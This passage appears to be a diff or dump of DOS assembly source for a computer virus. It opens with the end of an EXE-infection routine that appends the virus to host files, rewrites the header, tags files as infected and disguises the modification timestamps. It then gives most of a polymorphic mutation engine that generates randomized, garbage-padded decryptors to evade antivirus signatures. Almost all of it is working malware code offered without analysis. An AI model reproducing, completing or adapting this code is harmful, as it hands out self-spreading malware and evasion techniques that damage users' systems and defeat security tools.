|
||||
mov chksum,virusid ;set file as already infected
|
||||
|
||||
mov dx,100h ;offset of virus code in memory
|
||||
mov cx,vlength ;length of virus code
|
||||
|
||||
mov ah,40h ;write file or device
|
||||
push ax
|
||||
int 21h
|
||||
|
||||
call move_pointer_end ;get file size
|
||||
|
||||
mov cx,512
|
||||
div cx ;convert to pages
|
||||
|
||||
test dx,dx ;no remainder?
|
||||
jz no_remainder
|
||||
|
||||
inc ax ;if remainder add another page
|
||||
no_remainder:
|
||||
mov expages,ax
|
||||
mov exbytes,dx ;set new exe size
|
||||
|
||||
cwd
|
||||
mov word ptr es:[di+15h],dx
|
||||
mov word ptr es:[di+17h],dx ;zero file pointer in SFT
|
||||
|
||||
mov dx,offset(exeheader) ;exe header information
|
||||
mov cx,24 ;24 bytes to change
|
||||
|
||||
pop ax ;write file or device
|
||||
int 21h
|
||||
|
||||
pop dx cx ;old file date/time
|
||||
|
||||
push dx ;save original file date
|
||||
and cx,-20h ;reset seconds
|
||||
and dx,1Fh
|
||||
dec dx ;unmask date field
|
||||
|
||||
or cx,dx ;seconds=date
|
||||
|
||||
pop dx ;restore old date
|
||||
|
||||
mov ax,5701h ;set file date and time
|
||||
int 21h
|
||||
|
||||
jmp bad_file ;close and exit
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
vbot equ $ ;bottom of virus code
|
||||
htop equ $ ;top of heap
|
||||
|
||||
i21veco dw 0
|
||||
i21vecs dw 0 ;old int 21h vector
|
||||
|
||||
exeheader:
|
||||
exeid dw 0 ;Unchanged ;EXE signature
|
||||
exbytes dw 0 ;number of bytes in last page
|
||||
expages dw 0 ;number of pages in file
|
||||
reloci dw 0 ;Unchanged ;number of items in relocation table
|
||||
headers dw 0 ;Unchanged ;size of header in paragraphs
|
||||
minallc dw 0 ;minimum memory to be allocated
|
||||
maxallc dw 0 ;Unchanged ;maximum memory to be allocated
|
||||
initss dw 0 ;initial SS value
|
||||
initsp dw 0 ;initial SP value (used as ID word)
|
||||
chksum dw 0 ;complimented checksum
|
||||
initip dw 0 ;initial IP value
|
||||
initcs dw 0 ;initial CS value
|
||||
reltabl dw 0 ;Unchanged ;byte offset to relocation table
|
||||
ovnum dw 0 ;Unchanged ;overlay number
|
||||
|
||||
hbot equ $ ;bottom of heap data
|
||||
|
||||
sspace db 70 dup (0) ;virus stack
|
||||
|
||||
end enemy_within ;end of virus code
|
||||
@@ -0,0 +1,939 @@
|
||||
;----------------------------<<eng.asm>>---------------------------------------
|
||||
|
||||
_ax equ 0
|
||||
_cx equ 1
|
||||
_dx equ 2
|
||||
_bx equ 3
|
||||
_sp equ 4
|
||||
_bp equ 5
|
||||
_si equ 6
|
||||
_di equ 7
|
||||
|
||||
|
||||
engine: mov ds:pointer,ax ; save IP
|
||||
mov di,offset decrypt
|
||||
mov bx,offset make_count
|
||||
mov cx,offset make_key
|
||||
mov dx,offset make_ptr
|
||||
mov si,offset order_ret
|
||||
or bp,11101111b ; SP is used
|
||||
call order ; randomize and call registers
|
||||
push di ; save start of loop
|
||||
push di
|
||||
mov si,offset encode
|
||||
mov di,offset write_buff
|
||||
mov cx,encode_end-encode
|
||||
rep movsb ; copy write code
|
||||
mov ds:encode_ptr,offset (encode_break-encode)+write_buff
|
||||
pop di
|
||||
mov bx,offset make_enc
|
||||
mov cx,offset make_keychange
|
||||
mov dx,offset make_deccount
|
||||
mov si,offset make_incptr
|
||||
call order ; call routines
|
||||
|
||||
;=====( Preform loop )=======================================================;
|
||||
|
||||
mov ax,2
|
||||
push ax
|
||||
call random ; test BP for 4000?
|
||||
pop ax
|
||||
jz loop_no_test
|
||||
test bp,4000h ; possible to just "Jcc"?
|
||||
jnz loop_make_jcc
|
||||
loop_no_test: call random
|
||||
jz loop_no_test1
|
||||
test bp,2000h ; use loop?
|
||||
jnz loop_make_jcc
|
||||
loop_no_test1: or bp,800h ; do not change flags
|
||||
mov ax,2
|
||||
cwd
|
||||
call random ; try OR/AND/TEST reg,reg
|
||||
; or XOR/ADD/OR/SUB reg,0?
|
||||
mov al,ds:count_reg ; get counter
|
||||
jnz loop_orandtest
|
||||
call boolean ; do XOR/OR/ADD or ADD/SUB?
|
||||
jnz loop_modify
|
||||
call add_reg ; ADD/SUB reg,0
|
||||
jmp loop_make_jcc
|
||||
|
||||
loop_modify: call modify_reg ; XOR/OR/ADD reg,0
|
||||
jmp loop_make_jcc
|
||||
|
||||
loop_orandtest: mov cl,3
|
||||
mov ch,al
|
||||
shl ch,cl
|
||||
or al,ch ; set reg1 as reg2 also
|
||||
mov bx,2 ; OR/AND/TEST
|
||||
call random_bx
|
||||
jnz loop_and
|
||||
or ax,9c0h ; OR reg1, reg2
|
||||
loop_reverse: call boolean ; use 9 or 11?
|
||||
jnz loop_orandteststo
|
||||
or ah,2h ; reg2, reg1
|
||||
jmp loop_orandteststo
|
||||
|
||||
loop_and: dec bx
|
||||
jnz loop_test
|
||||
or ax,21c0h ; AND reg1, reg2
|
||||
jmp loop_reverse
|
||||
|
||||
loop_test: or ax,85c0h ; TEST reg1, reg2
|
||||
loop_orandteststo:
|
||||
xchg al,ah
|
||||
stosw ; store TEST/OR/AND
|
||||
or bp,1800h ; do not change flags/
|
||||
; test stored
|
||||
call garble
|
||||
loop_make_jcc: and bp,not 800h
|
||||
test bp,2000h ; code loop?
|
||||
jz loop_make_jump
|
||||
mov al,0e2h ; LOOP
|
||||
test bp,1000h ; possible to use LOOPNZ/Z?
|
||||
jz loop_code_disp
|
||||
call boolean
|
||||
jnz loop_code_disp
|
||||
dec ax ; LOOPZ
|
||||
call boolean
|
||||
jnz loop_iscx
|
||||
dec ax ; LOOPNZ
|
||||
jmp loop_code_disp
|
||||
|
||||
;=====( Now make conditional jump )==========================================;
|
||||
|
||||
jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE
|
||||
|
||||
loop_make_jump: mov bx,offset jcc_tbl
|
||||
mov ax,3
|
||||
call random
|
||||
xlat ; get Conditional jump
|
||||
mov bx,2
|
||||
call random_bx ; use JE/JS/LE/L then JMP?
|
||||
jnz loop_code_disp
|
||||
cmp ds:count_reg,_cx ; CX is counter?
|
||||
jnz loop_notcx
|
||||
mov bl,4
|
||||
call random_bx
|
||||
jnz loop_notcx
|
||||
mov al,0e3h + 1 ; JCXZ + 1
|
||||
loop_notcx: dec ax
|
||||
loop_iscx: stosw
|
||||
cmp al,07fh ; Jcxz/loopz?
|
||||
ja loop_code_short
|
||||
call boolean ; Use opposite or EB?
|
||||
jnz loop_code_short
|
||||
or bp,800h ; dont change flags
|
||||
loop_code_short:mov si,di ; save offset of displacement
|
||||
call garble
|
||||
lea ax,ds:[si-2]
|
||||
sub ax,di
|
||||
neg al ; get jump displacement
|
||||
mov ds:[si-1],al ; save it
|
||||
test bp,800h ; Dont change flags -> "Jcc"
|
||||
mov al,0ebh ; Jmp short
|
||||
je loop_code_disp
|
||||
mov ax,3
|
||||
call random
|
||||
mov bx,offset jcc_tbl
|
||||
xlat ; Get JNE/JNS/JG/JGE
|
||||
loop_code_disp: stosb ; store jump
|
||||
pop ax ; start of loop
|
||||
dec ax
|
||||
sub ax,di ; get loop displacement
|
||||
stosb
|
||||
or bp,11101111b ; free all registers
|
||||
and bp,not 800h ; allow flags to change
|
||||
call garble
|
||||
mov ax,19
|
||||
call random ; 1 in 20 chance of non-jmp
|
||||
jnz loop_code_jmp
|
||||
mov ax,ds:pointer
|
||||
add ax,offset file_start ; where to jump
|
||||
xchg dx,ax
|
||||
call get_reg ; get a register
|
||||
call mov_reg ; Mov value into register
|
||||
or ax,0ffc0h + (4 shl 3) ; JMP reg16
|
||||
call boolean ; PUSH/RET or JMP reg16?
|
||||
jnz loop_code_push
|
||||
xchg al,ah
|
||||
jmp loop_code_stosw
|
||||
|
||||
loop_code_push: mov bx,2
|
||||
call random_bx ; 1 in 3 chance of FF /6 PUSH
|
||||
jnz loop_code_push1
|
||||
xor al,(6 shl 3) xor (4 shl 3) ; PUSH reg
|
||||
xchg al,ah
|
||||
stosw
|
||||
jmp loop_code_ret
|
||||
|
||||
loop_code_push1:xor al,50h xor (0c0h or (4 shl 3)) ; PUSH reg
|
||||
stosb
|
||||
loop_code_ret: call garble
|
||||
mov al,0c3h ; RETN
|
||||
stosb
|
||||
jmp loop_code_end
|
||||
|
||||
loop_code_jmp: mov al,0e9h
|
||||
stosb ; Store Jump
|
||||
lea ax,ds:[di-((file_start-2)-v_start)]
|
||||
neg ax ; Jmp file_start
|
||||
loop_code_stosw:stosw
|
||||
loop_code_end: mov si,ds:encode_enc_ptr ; get encrypt instruction ptr
|
||||
cmp di,offset header ; Decryptor is too large?
|
||||
jb go_write_buff
|
||||
stc ; return error
|
||||
pushf
|
||||
pop bp
|
||||
retn
|
||||
|
||||
go_write_buff: jmp write_buff ; encrypt/write/decrypt
|
||||
|
||||
|
||||
;=====( Inc pointer )========================================================;
|
||||
|
||||
make_incptr: mov ax,word ptr ds:ptr_reg ; get pointer registers
|
||||
mov dx,2 ; ADD ptr,2
|
||||
cmp ah,-1 ; two registers used?
|
||||
jz make_incptr_1
|
||||
call boolean ; do one or both?
|
||||
jnz make_incptr_do1
|
||||
dec dx ; ADD ptr,1
|
||||
call make_incptr_do1
|
||||
jmp make_incptr_2
|
||||
|
||||
make_incptr_do1:call boolean
|
||||
jnz make_incptr_1
|
||||
make_incptr_2: xchg al,ah
|
||||
make_incptr_1: call add_reg
|
||||
sub ds:disp,dx ; add to displacement
|
||||
retn
|
||||
|
||||
;=====( Dec counter )========================================================;
|
||||
|
||||
make_deccount: cmp si,offset make_deccount ; last operation?
|
||||
jnz make_deccount_notlast
|
||||
call boolean ; do it?
|
||||
jnz make_deccount_notlast
|
||||
or bp,4800h ; remember we're last
|
||||
make_deccount_notlast:
|
||||
mov al,ds:count_reg
|
||||
cmp al,_cx ; possible to use LOOP/LOOPNZ?
|
||||
jnz make_deccount_notcx
|
||||
call boolean
|
||||
jnz make_deccount_notcx
|
||||
or bp,2000h ; do LOOP
|
||||
jmp make_deccount_exit
|
||||
|
||||
make_deccount_notcx:
|
||||
mov dx,-1 ; ADD counter,-1
|
||||
call add_reg
|
||||
make_deccount_exit:
|
||||
or bp,400h ; deccount executed
|
||||
retn
|
||||
|
||||
;=====( Make encryption instruction )========================================;
|
||||
|
||||
make_enc: push bp
|
||||
and bp,not 400h
|
||||
mov al,ds:key_reg
|
||||
push ax ; save key register
|
||||
make_enc_which: mov ax,4 ; ADD/SUB/XOR/ROR/ROL
|
||||
call random
|
||||
mov bx,0105h ; ADD [DI],AX
|
||||
mov cx,1119h ; ADC/SBB
|
||||
mov dx,2905h ; SUB [DI],AX
|
||||
jz make_enc_add
|
||||
dec ax
|
||||
jz make_enc_sub
|
||||
dec ax
|
||||
jnz make_enc_ror
|
||||
mov bh,31h ; XOR
|
||||
mov dx,3105h ; XOR [DI],AX
|
||||
jmp make_enc_sto
|
||||
|
||||
make_enc_ror: cmp ds:key_reg,_cx ; CX is key?
|
||||
jne make_enc_which
|
||||
or bp,400h ; Put XCHG CX,AX
|
||||
mov bh,0d3h
|
||||
mov dx,0d30dh ; ROL
|
||||
dec ax
|
||||
jz r_make_enc_sto
|
||||
xchg bx,dx ; ROR
|
||||
r_make_enc_sto: mov ds:key_reg,al ; 1 SHL 3 = 08 / D3 08
|
||||
; D3 00 = ROL [],CL
|
||||
jmp make_enc_sto
|
||||
|
||||
make_enc_sub: xchg dh,bh ; SUB - ADD [DI],AX
|
||||
xchg cl,ch ; SBB/ADC
|
||||
make_enc_add: call boolean ; do Carry?
|
||||
jnz make_enc_sto
|
||||
push bx
|
||||
mov bh,ch ; Make it ADC/SBB
|
||||
call clear_carry
|
||||
cmp al,0
|
||||
org $ - 1
|
||||
make_enc_sto: push bx
|
||||
test bp,8000h ; EXE file?
|
||||
jz make_enc_com
|
||||
call is_bp_ptr ; is BP a pointer?
|
||||
je make_enc_com
|
||||
mov al,2eh ; CS:
|
||||
call boolean
|
||||
jnz make_enc_cs
|
||||
mov al,36h ; SS:
|
||||
make_enc_cs: stosb ; store segment override
|
||||
make_enc_com: mov al,bh
|
||||
stosb ; store instruction
|
||||
mov ax,word ptr ds:ptr_reg ; get pointer registers
|
||||
cmp ah,-1 ; second reg?
|
||||
je make_enc_xlat
|
||||
add al,ah
|
||||
make_enc_xlat: mov bx,offset rm_tbl
|
||||
xlat ; get r/m
|
||||
call is_bp_ptr ; is BP a pointer?
|
||||
jnz make_enc_nobp
|
||||
inc ah ; is there a second reg?
|
||||
jne make_enc_nobp
|
||||
or al,01000000b ; [BP+xx]
|
||||
make_enc_nobp: mov cx,ds:disp ; get displacement
|
||||
mov bx,6
|
||||
call random_bx ; allow no displacement?
|
||||
jz make_enc_get_disp
|
||||
jcxz make_enc_sto_rm
|
||||
make_enc_get_disp:
|
||||
or al,01000000b ; 8bit displacement
|
||||
call boolean ; allow 8bit displacement?
|
||||
jnz make_enc_16bit
|
||||
cmp cx,7fh ; 8bit displacement?
|
||||
jbe make_enc_sto_rm
|
||||
cmp cx,-80h
|
||||
jb make_enc_16bit
|
||||
xor ch,ch
|
||||
cmp ax,0
|
||||
org $ - 2
|
||||
make_enc_16bit: xor al,11000000b ; 8bit off, 16bit on
|
||||
make_enc_sto_rm:mov ah,ds:key_reg
|
||||
shl ah,1
|
||||
shl ah,1
|
||||
shl ah,1 ; from bits 0-2 of AH
|
||||
or al,ah ; to bits 3-5 of AL
|
||||
stosb ; store r/m byte
|
||||
test al,11000000b ; any displacement?
|
||||
jz make_enc_disp
|
||||
test al,10000000b ; 16bit displacement?
|
||||
xchg cx,ax
|
||||
stosw ; store displacement
|
||||
jnz make_enc_disp
|
||||
dec di ; 8bit only
|
||||
make_enc_disp: xchg di,ds:encode_ptr ; get encode ptr
|
||||
test bp,400h ; store XCHG CX,AX?
|
||||
je make_enc_nor
|
||||
mov al,91h ; XCHG CX,AX
|
||||
stosb
|
||||
make_enc_nor: xchg dx,ax
|
||||
xchg al,ah
|
||||
mov ds:encode_enc_ptr,di ; save instruction pointer
|
||||
stosw ; set encryption instruction
|
||||
je make_enc_nor1
|
||||
mov al,91h ; XCHG CX,AX
|
||||
stosb
|
||||
make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
|
||||
pop ax
|
||||
xchg al,ah
|
||||
mov word ptr ds:write_buff[encode_flip-encode],ax
|
||||
; save opposite operation
|
||||
pop ax
|
||||
mov ds:key_reg,al ; restore key register
|
||||
pop bp
|
||||
retn
|
||||
|
||||
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
|
||||
|
||||
;=====( Change key )=========================================================;
|
||||
|
||||
make_keychange: call boolean ; change key?
|
||||
jnz make_keychange_yes
|
||||
retn
|
||||
|
||||
make_keychange_yes:
|
||||
push bp
|
||||
or bp,200h ; let know that keychange
|
||||
mov ax,3
|
||||
call random ; 1 in 4 chance of modify_reg
|
||||
jnz keychange_other
|
||||
call random_1
|
||||
xchg dx,ax ; Random value to modify key
|
||||
; reg by
|
||||
mov al,ds:key_reg
|
||||
call modify_reg ; XOR/ADD/OR
|
||||
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
|
||||
inc di ; CLC
|
||||
mov al,ds:modify_op ; get operation
|
||||
stosb
|
||||
keychange_stodx:xchg dx,ax ; store value/operation
|
||||
keychange_sto: stosw
|
||||
xchg di,ds:encode_ptr ; get decrypt pointer
|
||||
pop bp
|
||||
retn
|
||||
|
||||
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
|
||||
call random
|
||||
jnz keychange_rol
|
||||
mov ax,0d1c0h ; ROR AX,1
|
||||
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
|
||||
call random_bx
|
||||
jnz keychange_nocl
|
||||
cmp ds:count_reg,_cx ; Count is CX?
|
||||
jne keychange_nocl
|
||||
test bp,400h ; Count already decremented?
|
||||
jnz keychange_nocl
|
||||
or ah,2 ; By CL
|
||||
keychange_nocl: xchg al,ah
|
||||
push ax
|
||||
or ah,ds:key_reg ; set key register
|
||||
stosw ; store instruction
|
||||
pop ax
|
||||
xchg di,ds:encode_ptr ; get encode ptr
|
||||
jmp keychange_sto
|
||||
|
||||
keychange_rol: dec ax
|
||||
jnz keychange_not
|
||||
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
|
||||
jmp keychange_cl
|
||||
|
||||
keychange_not: dec ax
|
||||
jnz keychange_neg
|
||||
mov ax,0f7c0h + (2 shl 3) ; NOT AX
|
||||
jmp keychange_nocl
|
||||
|
||||
keychange_neg: dec ax
|
||||
jnz keychange_add
|
||||
mov ax,0f7c0h + (3 shl 3) ; NEG AX
|
||||
jmp keychange_nocl
|
||||
|
||||
keychange_add: call random_1
|
||||
xchg dx,ax
|
||||
mov al,ds:key_reg ; get key register
|
||||
call add_reg ; ADD reg(ax), value(dx)
|
||||
jmp keychange_stoop
|
||||
|
||||
;=====( Build key )==========================================================;
|
||||
|
||||
make_key: call get_reg ; get register
|
||||
xchg dx,ax
|
||||
call random_1 ; get key
|
||||
mov ds:key,ax ; save key
|
||||
xchg dx,ax
|
||||
mov ds:key_reg,al ; save register
|
||||
call mov_reg ; MOV reg(ax),value(dx)
|
||||
retn
|
||||
|
||||
;=====( Build counter )======================================================;
|
||||
|
||||
make_count: call get_reg ; get register
|
||||
mov ds:count_reg,al ; save register
|
||||
mov dx,(decrypt-v_start)/2 ; # of words to crypt
|
||||
call mov_reg ; mov reg(ax),value(dx)
|
||||
retn
|
||||
|
||||
;=====( Build Pointer )======================================================;
|
||||
|
||||
make_ptr: mov dx,ds:pointer
|
||||
call get_ptr_reg ; get DI/SI/BP/BX
|
||||
mov ds:ptr_reg,al
|
||||
mov ds:ptr_reg1,-1
|
||||
mov bx,3
|
||||
call random_bx ; 1 in 4 chance of 2 regs
|
||||
jnz make_ptr_2
|
||||
cmp al,_si
|
||||
mov bx,11000000b ; DI/SI
|
||||
jb make_ptr_test
|
||||
mov bl,00101000b ; BP/BX
|
||||
make_ptr_test: test bp,bx ; 'other' availible?
|
||||
jz make_ptr_2
|
||||
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
|
||||
push ax
|
||||
call conv_num ; convert to bit-map number
|
||||
test al,bl ; is it other type?
|
||||
pop ax
|
||||
jnz make_ptr_ok
|
||||
call del_reg ; delete register
|
||||
jmp make_ptr_again
|
||||
|
||||
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
|
||||
mov bx,-1
|
||||
call random_bx
|
||||
sub dx,bx ; randomize values
|
||||
xchg bx,dx
|
||||
call mov_reg ; mov reg(ax), value(dx)
|
||||
xchg bx,dx
|
||||
mov al,ds:ptr_reg ; get first reg
|
||||
make_ptr_2: xor bx,bx ; zero displacement
|
||||
call boolean ; use one?
|
||||
jnz make_ptr_nodisp
|
||||
mov bx,-1
|
||||
call random_bx
|
||||
sub dx,bx ; subtract displacement
|
||||
make_ptr_nodisp:mov ds:disp,bx ; save displacement
|
||||
call mov_reg ; mov reg(ax), value(dx)
|
||||
retn
|
||||
|
||||
;=====( Shell for mov_reg1 )=================================================;
|
||||
|
||||
mov_reg: push bx dx
|
||||
mov bx,4
|
||||
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
|
||||
jnz mov_reg_call
|
||||
mov bx,-1
|
||||
call random_bx ; get random #
|
||||
sub dx,bx ; MOV reg, value-random #
|
||||
call mov_reg1 ; do MOV reg,
|
||||
mov dx,bx
|
||||
call add_reg ; Now add difference
|
||||
pop dx bx
|
||||
retn
|
||||
|
||||
mov_reg_call: pop dx bx
|
||||
|
||||
;=====( Mov reg(ax), value(dx) )=============================================;
|
||||
|
||||
mov_reg1: push ax bx cx dx
|
||||
cbw
|
||||
mov bx,2
|
||||
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
|
||||
jz mov_reg_other
|
||||
mov bl,2
|
||||
call random_bx ; 1 in 3 chance of c6/c7 MOV
|
||||
jnz mov_reg_b0
|
||||
or ax,0c7c0h ; MOV reg,imm
|
||||
call boolean ; Do long MOV or LEA?
|
||||
jnz mov_reg_c7
|
||||
mov cl,3
|
||||
shl al,cl ; Reg -> bits 3,4,5
|
||||
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
|
||||
mov_reg_c7: xchg al,ah
|
||||
stosw ; store it
|
||||
mov_reg_sto: xchg dx,ax
|
||||
stosw ; store value
|
||||
call garble
|
||||
mov_reg_exit: jmp modify_pop
|
||||
|
||||
mov_reg_b0: or al,0b8h ; MOV reg,imm
|
||||
stosb
|
||||
jmp mov_reg_sto
|
||||
|
||||
mov_reg_other: push ax
|
||||
mov cl,3
|
||||
mov ch,al
|
||||
shl ch,cl ; copy reg1 to reg2
|
||||
or al,ch ; set it
|
||||
call boolean
|
||||
jnz mov_reg_other1
|
||||
or ah,2 ; reg1, reg2 -> reg2, reg1
|
||||
mov_reg_other1: call boolean
|
||||
jnz mov_reg_xor
|
||||
or ax,29c0h ; SUB reg, reg
|
||||
call boolean
|
||||
jnz mov_reg_other_sto
|
||||
xor ah,19h xor 29h ; SBB reg, reg
|
||||
call clear_carry ; clear carry flag
|
||||
mov_reg_other_sto:
|
||||
xchg al,ah
|
||||
stosw
|
||||
call garble
|
||||
pop ax
|
||||
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
|
||||
jmp mov_reg_exit
|
||||
|
||||
mov_reg_xor: or ax,31c0h ; XOR AX,AX
|
||||
jmp mov_reg_other_sto
|
||||
|
||||
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
|
||||
|
||||
modify_reg: push ax bx cx dx
|
||||
cbw
|
||||
mov bx,2
|
||||
call random_bx
|
||||
mov cx,3500h + (6 shl 3) ; XOR
|
||||
jz modify_reg_cont
|
||||
mov cx,0d00h + (1 shl 3) ; OR
|
||||
dec bx
|
||||
jz modify_reg_cont
|
||||
modify_reg_add: mov cx,0500h ; ADD
|
||||
call boolean ; ADC or ADD?
|
||||
jnz modify_reg_cont
|
||||
mov cx,1500h + (2 shl 3) ; ADC
|
||||
modify_reg_clc: call clear_carry ; Clear carry flag
|
||||
modify_reg_cont:test bp,200h ; keychange executing?
|
||||
jz modify_reg_nosave
|
||||
mov ds:modify_op,ch ; save AX operation
|
||||
modify_reg_nosave:
|
||||
call boolean ; check if AX?
|
||||
jnz modify_reg_noax
|
||||
or al,al ; AX?
|
||||
jnz modify_reg_noax
|
||||
mov al,ch
|
||||
stosb ; store instruction
|
||||
xchg dx,ax
|
||||
modify_sto: stosw ; store value
|
||||
modify_exit: call garble
|
||||
modify_pop: pop dx cx bx ax
|
||||
retn
|
||||
|
||||
modify_reg_noax:or ax,81c0h
|
||||
or al,cl ; XOR/OR/ADD
|
||||
call boolean ; sign extend?
|
||||
jnz modify_reg_nosign
|
||||
cmp dx,7fh ; possible to sign extend?
|
||||
jbe modify_sign
|
||||
cmp dx,-80h
|
||||
jb modify_reg_nosign
|
||||
modify_sign: or ah,2 ; sign extend
|
||||
modify_reg_nosign:
|
||||
xchg al,ah
|
||||
stosw
|
||||
test al,2 ; sign extended?
|
||||
xchg dx,ax
|
||||
je modify_sto
|
||||
stosb
|
||||
jmp modify_exit
|
||||
|
||||
;=====( ADD reg(ax), value(dx) )=============================================;
|
||||
|
||||
add_reg: push ax bx cx dx
|
||||
cbw
|
||||
mov cx,dx
|
||||
add_loop: mov bx,3
|
||||
call random_bx ; 1 in 4 chance of ADD/SUB
|
||||
jz add_noinc
|
||||
mov bx,40c0h ; INC reg
|
||||
test bp,200h ; keychange running?
|
||||
jz add_nosave
|
||||
mov ds:modify_op,05h ; ADD AX,
|
||||
add_nosave: cmp cx,3h ; too high to INC?
|
||||
jb add_inc
|
||||
neg cx
|
||||
cmp cx,3h ; too low to DEC?
|
||||
ja add_noinc
|
||||
mov bx,48c0h + (1 shl 3) ; DEC reg
|
||||
test bp,200h
|
||||
jz sub_nosave
|
||||
mov ds:modify_op,2dh ; SUB AX,
|
||||
sub_nosave: inc dx
|
||||
inc cx
|
||||
cmp ax,0
|
||||
org $ - 2
|
||||
add_inc: dec dx
|
||||
dec cx
|
||||
push ax
|
||||
mov ax,5
|
||||
call random ; 1 in 6 chance of FF
|
||||
pop ax
|
||||
push ax
|
||||
jnz add_inc_40
|
||||
mov ah,0ffh
|
||||
xchg bl,bh
|
||||
xchg al,ah ; AL=ff AH=Reg
|
||||
stosb
|
||||
xchg al,ah
|
||||
add_inc_40: or al,bh ; set DEC/INC
|
||||
stosb
|
||||
pop ax
|
||||
call garble
|
||||
or dx,dx ; all done?
|
||||
jnz add_loop
|
||||
add_reg_exit: jmp modify_pop
|
||||
|
||||
add_noinc: call boolean ; ADD or SUB?
|
||||
jz sub_reg
|
||||
jmp modify_reg_add
|
||||
|
||||
sub_reg: test bp,200h ; keychange?
|
||||
jnz sub_reg_key
|
||||
neg dx
|
||||
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
|
||||
call boolean ; use SBB?
|
||||
jz sbb_reg
|
||||
jmp modify_reg_cont
|
||||
|
||||
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
|
||||
jmp modify_reg_clc
|
||||
|
||||
;=====( clear carry flag )===================================================;
|
||||
|
||||
clear_carry: push ax bp
|
||||
or bp,800h ; don't change flags
|
||||
mov al,0f8h ; CLC
|
||||
call boolean
|
||||
jnz clear_carry_clc
|
||||
mov ax,0f5f9h ; STC/CMC
|
||||
stosb
|
||||
call garble
|
||||
xchg al,ah
|
||||
clear_carry_clc:stosb
|
||||
call garble
|
||||
pop bp ax
|
||||
retn
|
||||
|
||||
garble: push ax
|
||||
mov ax,2
|
||||
call random ; how many times to call?
|
||||
xchg cx,ax
|
||||
jcxz garble_exit
|
||||
garble_loop: call garble1
|
||||
loop garble_loop
|
||||
garble_exit: xchg cx,ax
|
||||
pop ax
|
||||
retn
|
||||
|
||||
;=====( add garbage code )===================================================;
|
||||
|
||||
garble1: push ax bx cx dx bp
|
||||
test bp,100h ; Garble already executing?
|
||||
jnz garble_ret
|
||||
and bp,not 200h ; keychange not executing
|
||||
or bp,100h ; Garble executing
|
||||
call boolean
|
||||
jnz garble_ret
|
||||
mov cl,3
|
||||
call random_1
|
||||
xchg dx,ax ; DX=random number
|
||||
call get_reg ; get register
|
||||
jc garble_ret
|
||||
mov bx,6
|
||||
test bp,800h ; flag change allowed?
|
||||
jz garble_f
|
||||
mov bl,2
|
||||
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
|
||||
jnz garble_xchg
|
||||
or ah,89h
|
||||
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
|
||||
jz garble_reg_reg
|
||||
or ah,2 ; 8b
|
||||
xchg al,dl
|
||||
garble_reg_reg: and dl,7 ; Get register values only
|
||||
and al,7
|
||||
shl dl,cl
|
||||
or al,0c0h ; MOV reg1, random reg
|
||||
or al,dl
|
||||
xchg al,ah
|
||||
stosw
|
||||
garble_ret: pop bp
|
||||
jmp modify_pop
|
||||
|
||||
garble_xchg: dec bx
|
||||
jnz garble_1byte
|
||||
xchg dx,ax
|
||||
call get_reg ; get another reg
|
||||
jc garble_ret
|
||||
xchg dx,ax ; AL=reg1 DL=reg2
|
||||
call boolean
|
||||
jnz garble_xchgnoax
|
||||
or dl,dl ; AX?
|
||||
jz garble_xchgax
|
||||
or al,al
|
||||
jz garble_xchgax
|
||||
garble_xchgnoax:or ah,87h ; XCHG reg1,
|
||||
jmp garble_reg_reg
|
||||
|
||||
garble_xchgax: or al,90h
|
||||
or al,dl ; XCHG AX, reg
|
||||
garble_stosb: stosb
|
||||
jmp garble_ret
|
||||
|
||||
garble_1byte: dec bx
|
||||
jnz garble_modify
|
||||
mov al,4
|
||||
call random
|
||||
mov bx,offset garble_1byte_tbl
|
||||
xlat ; get 1 byte instruction
|
||||
jmp garble_stosb
|
||||
|
||||
garble_modify: dec bx
|
||||
jnz garble_add
|
||||
call modify_reg ; ADD/XOR/OR reg1, random #
|
||||
jmp garble_ret
|
||||
|
||||
garble_add: dec bx
|
||||
jnz garble_mov
|
||||
call add_reg ; ADD/SUB reg1, random #
|
||||
jmp garble_ret
|
||||
|
||||
garble_mov: dec bx
|
||||
jnz garble_op
|
||||
call mov_reg ; MOV reg1, random #
|
||||
jmp garble_ret
|
||||
|
||||
garble_op: and dh,00111000b ; get rnd op
|
||||
mov ah,1
|
||||
or ah,dh
|
||||
jmp garble_reg_set
|
||||
|
||||
garble_1byte_tbl:
|
||||
db 2eh
|
||||
db 36h
|
||||
cld
|
||||
std
|
||||
sti
|
||||
|
||||
;=====( Is BP a Pointer? )===================================================;
|
||||
|
||||
is_bp_ptr: cmp ds:ptr_reg,_bp
|
||||
je bp_is_ptr
|
||||
cmp ds:ptr_reg1,_bp
|
||||
bp_is_ptr: retn
|
||||
|
||||
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
|
||||
|
||||
get_ptr_regnext:call del_reg ; restore register to pool
|
||||
|
||||
get_ptr_reg: call get_reg ; get register
|
||||
cmp al,_bx
|
||||
je got_ptr_reg
|
||||
cmp al,_bp
|
||||
jb get_ptr_regnext
|
||||
got_ptr_reg: retn
|
||||
|
||||
;=====( return random register in AL )=======================================;
|
||||
|
||||
get_reg: test bp,11101111b ; any registers free?
|
||||
stc
|
||||
jz get_reg_exit
|
||||
get_reg_loop: mov ax,7
|
||||
call random
|
||||
push ax
|
||||
cbw
|
||||
call conv_num ; convert to bit map
|
||||
test bp,ax ; is register free?
|
||||
pushf
|
||||
not ax
|
||||
and bp,ax ; mark register
|
||||
popf
|
||||
pop ax
|
||||
jz get_reg_loop
|
||||
get_reg_exit: retn
|
||||
|
||||
;=====( Restore register to pool )===========================================;
|
